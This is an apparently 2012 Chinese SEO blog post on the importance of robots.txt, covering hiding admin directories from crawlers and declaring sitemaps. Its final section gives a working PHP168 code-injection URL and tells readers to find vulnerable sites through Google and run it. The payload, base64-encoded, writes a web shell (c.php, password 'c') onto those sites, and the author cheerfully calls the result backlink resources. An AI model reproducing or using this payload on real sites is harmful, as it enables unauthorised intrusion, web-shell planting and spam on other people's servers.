网站快捷导航 | 联系我们 | Sitemap
友软科技联系电话:0311-82065950
营销型网站更赚钱

网站优化中robots协议的重要性

发表日期:2012/9/1   内容来源:企业网站制作

现在几乎所有的搜索引擎蜘蛛程序都能够识别robots协议,尽管最近的3B大战中百度跟360双方都出现过不遵守robots协议的情况,但这毕竟只是特例,一般情况下robots协议还是必须要遵守的。

今天就说一下robots协议在网站优化过程中的重要性。

首先我们要对自己优化的网站做一个robots协议,一方面是禁止蜘蛛抓取网站的个人隐私,或者网站敏感目录等,其实大家在没有经历网站被黑之前一般人不会感觉到robots协议的重要,其实很多时候黑客攻击一个网站都是从搜索引擎入手的,比如你的网站管理路径是/admin/而且你没有在robots协议中注明禁止蜘蛛抓取的话,那么蜘蛛很有可能就会通过爬行抓取到你的网站管理后台地址,这样搜索引擎就会收录你网站管理地址中对应的链接。如果你的网站存在漏洞,那么黑客就会借助搜索引擎搜索你的后台路径中可能存在漏洞的页面,这也很容易暴露你网站后台管理权限。

其次,我们做网站优化时写一个robots协议文件,在协议中注明网站地图索引文件的绝对路径可以直接通知蜘蛛按照我们编排的索引去抓取网站内容,可能实现更好的网站内容收录。

最后,我们借助很多网站没有使用robots协议这一特点,可以通过搜索引擎(尤其是谷歌)查询到很多高质量的外链发布地址,这里我给大家举一个例子,著名的开源程序PHP168中就有一个这样的漏洞,如果使用这个开源程序的站长没有使用robots协议限制蜘蛛抓取member目录的话,那么我们通过谷歌查询“/member/post.php”就能找到很多这样的网址,然后我们把找到的网址后半截改写成:

/member/post.php?only=1&showHtml_Type[bencandy][1]={${fputs(fopen(base64_decode(Yy5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz4x))}}&aid=1&job=endHTML

然后直接在浏览器中访问,就会在目录下生成一个member/c.php 密码为c的文件。这对于我们来说可是绝佳的外链资源,哈哈!!

当然很多网站都有漏洞,我就不一一列举了。

返回上一页2345

本文链接:http://www.urkeji.com/content/999.html (转摘请注明出处)
若无特别注明,本站内容均为原创;网站SEO优化业务请咨询本站在线客服!
点击关闭
展开